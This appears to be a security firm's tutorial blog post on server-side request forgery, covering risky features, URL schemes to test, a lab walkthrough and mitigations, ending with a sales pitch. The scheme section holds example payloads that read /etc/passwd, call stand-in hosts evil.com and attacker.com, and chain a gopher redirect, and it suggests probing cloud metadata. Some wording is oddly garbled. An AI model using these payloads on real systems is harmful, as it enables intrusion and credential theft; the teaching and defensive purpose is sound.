SSRF vulnerabilities allow an attacker to send crafted malicious requests from the back-end server of a vulnerable application. Criminals usually operate SSRF attacks to target internal systems that are behind firewalls and are not unrestricted from the external network. An attacker may also leverage SSRF to access services known through the loopback interface of the exploited server.
SSRF vulnerabilities happen when an attacker has full or partisan control of the request sent by the web application. A common example is when an attacker can contain the third-party service URL to which the web application makes a request.
Why is SSRF dangerous?
A successful SSRF attack can often result in unauthorized actions or access to data or credentials within the organization, either in the vulnerable application itself or on other back-end database systems that the application can communicate with. In some situations, the SSRF vulnerability might allow an attacker to perform random command execution.
An SSRF exploit that causes connections to external third-party systems might result in malicious onward attacks that appear to originate from the organization hosting the vulnerable application.
Some Dangerous Use Cases of SSRF
Why do developers launch risky practices that can lead to SSRF? Here are some examples of common use cases that can lead to a server-side request forgery vulnerability when proper validations are not implemented:
- Webhooks
- Download and fetching of resources
- Open redirects
- Request forwarding
Webhooks
Webhooks are a modular way to increase the functionality of an application by including flexible and standardized “plugins”. The external site plugins (webhooks) are called after a triggering event in the original application. For instance, a mailing service can reveal a webhook that our application can use when a new user is registered so that a welcome email is sent by the mailing service. They are more similar to APIs but simpler and more standardized. Once again, the SSRF vulnerability occurs when the webhook call is formulated to include invalidated user input.
Resource Download
Some applications save images and other resources in the server filesystem. An SSRF occurs when the application includes a part that takes untrusted data to fetch a server resource and it does not perform security checks. Linking or implanting user profile images.
File Processing
Some applications accept and process URLs detected in files uploaded to the server including configuration files, scripts, and import-export formats. This may lead to SSRF in certain cases. In combination with other threats such as XXE or open redirects and request forwarding, file processing is one of the most common features that constitute SSRF attack vectors.
Request forwarding
As applications achieve modularity and complexity, the reliance on external services increases. Authentication is a good example. If an application simply assembles user input to build an external request to an authentication service, it is potentially introducing SSRF vulnerability. Querying APIs is another common example. From the point of view of external API endpoints, the origin of the request is the SSRF-compromised server, this opens the floodgates for exploitation.
Testing SSRF URL Schemas
First thing to do when we find an SSRF bug is to try all the following URL schemas:
- http://
- file:///
- dict://
- sftp://
- ldap://
- tftp://
- gopher://
http://
HTTP (Hypertext Transfer Protocol) is used to load web pages using hypertext links.
http://test.com/ssrf.php?url=http://attacker.com
file://
File is used to fetch files from the file system.
http://test.com/ssrf.php?url=file:///etc/passwd http://test.com/ssrf.php?url=file:///C:/Windows/win.ini
If the server blocks HTTP request to external sites or whitelists it, we could simply use the URL schemas to make a request.
dict://
DICT URL scheme is used to guide definitions or word lists available using the DICT protocol:
http://test.com/ssrf.php?dict://evil.com:1337/
sftp://
SFTP stands for Secure File Transfer Protocol, or SSH File Transfer Protocol. This is a separate protocol packaged with SSH that works in a similar way over a secure connection.
http://test.com/ssrf.php?url=sftp://evil.com:1337/
ldap:// or ldaps:// or ldapi://
LDAP stands for Lightweight Directory Access Protocol. It is an application protocol used to get over the IP network to operate and get access to the distributed directory information service.
http://test.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit http://test.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit http://test.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
tftp://
Trivial File Transfer Protocol is a simple lockstep File Transfer Protocol that allows the client to get a file from or put the file onto a remote host.
http://test.com/ssrf.php?url=tftp://evil.com:1337/test
gopher://
Gopher is a distributed document delivery service. It allows users to explore, search and retrieve information residing in different locations in a seamless fashion.
Malicious PHP file (gopher.phpgopher.php) hosted on attacker machine:
<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest'); ?>
SSRF exploit:
http://test.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php
SSRF in Action
To better understand SSRF, we’ll exploit the vulnerability in a publicly available vulnerable lab – SSRF Playground lab.
Step 1: We’ll enumerate the application to identify the potential avenues for SSRF vulnerabilities.
Step 2: The “Test It!” feature of the web application allows users to make requests to external resources.
Step 3: We’ll interact with port 1338 on localhost (the server itself). Alternatively, an attacker could run a port scan against the internal infrastructure and search for additional attack vectors in the internal network.
Step 4: We can run automated tools such as dirsearch to brute force directories and files, hosted on the server. Optionally, we can try interacting with the EC2 Metadata Service i.e., if the server is hosted using Amazon’s EC2 service.
TL;DR
Mitigating SSRF
Simple blacklists and regular expressions applied to user input are the wrong approaches to block SSRF attacks. In general, having a blacklist won’t solve the problem. Attackers will still find methods to bypass them. In this case, an attacker can use an HTTP redirect, a wildcard DNS service such as xip.io, or even alternate IP address encoding.
Response Handling
To prevent response data from being revealed to the attacker, ensure that the received response is as expected.
Whitelists and DNS resolution
The best way to avoid server-side request forgery (SSRF) is to whitelist the host names like DNS names or IP addresses that an application needs to access. If a whitelist approach doesn’t work, it’s important to check user input correctly. For example, do not allow requests to endpoints with remote non-routable IP addresses (detailed in RFC 1918).
However, in the case of a blacklist, the right mitigation to adopt will vary from application to application. In other words, there is no universal fix for SSRF because it highly depends on application functionality and business requirements.
Authentication of internal services
By default, services such as Elasticsearch, Memcached, Redis, and MongoDB do not require authentication. An attacker can use SSRF vulnerabilities to gain entry in some of these services without any authentication. Therefore, to safeguard sensitive information and to strengthen web application security, it’s best to ensure that every request has proper authentication controls, even for services on the local network.
Disable unused URL schemas
If the application only uses HTTP or HTTPS to create requests, allow only these URL schemas. If unused URL schemas are disabled, attackers will not be able to use the web application to make requests using potentially dangerous schemas such as file:///, dict://, ftp://, and gopher://.
By partnering with Redfox Security, you’ll get the best security and technical skills required to execute an effective and thorough penetration test. Our offensive security experts have years of experience assisting organizations in protecting their digital assets through penetration testing services. To schedule a call with one of our technical specialists, call 1-800-917-0850 now.
TL;DR: Walkthrough
To learn more about SSRF and other web vulnerabilities, check out our course, Web Hacking Basics. We have thoroughly covered this topic as well.
Redfox Security is a diverse network of expert security consultants with a global mindset and a collaborative culture. With a combination of data-driven, research-based, and manual testing methodologies, we proudly deliver robust security solutions.
“Join us on our journey of growth and development by signing up for our comprehensive courses, if you want to excel in the field of cybersecurity.”
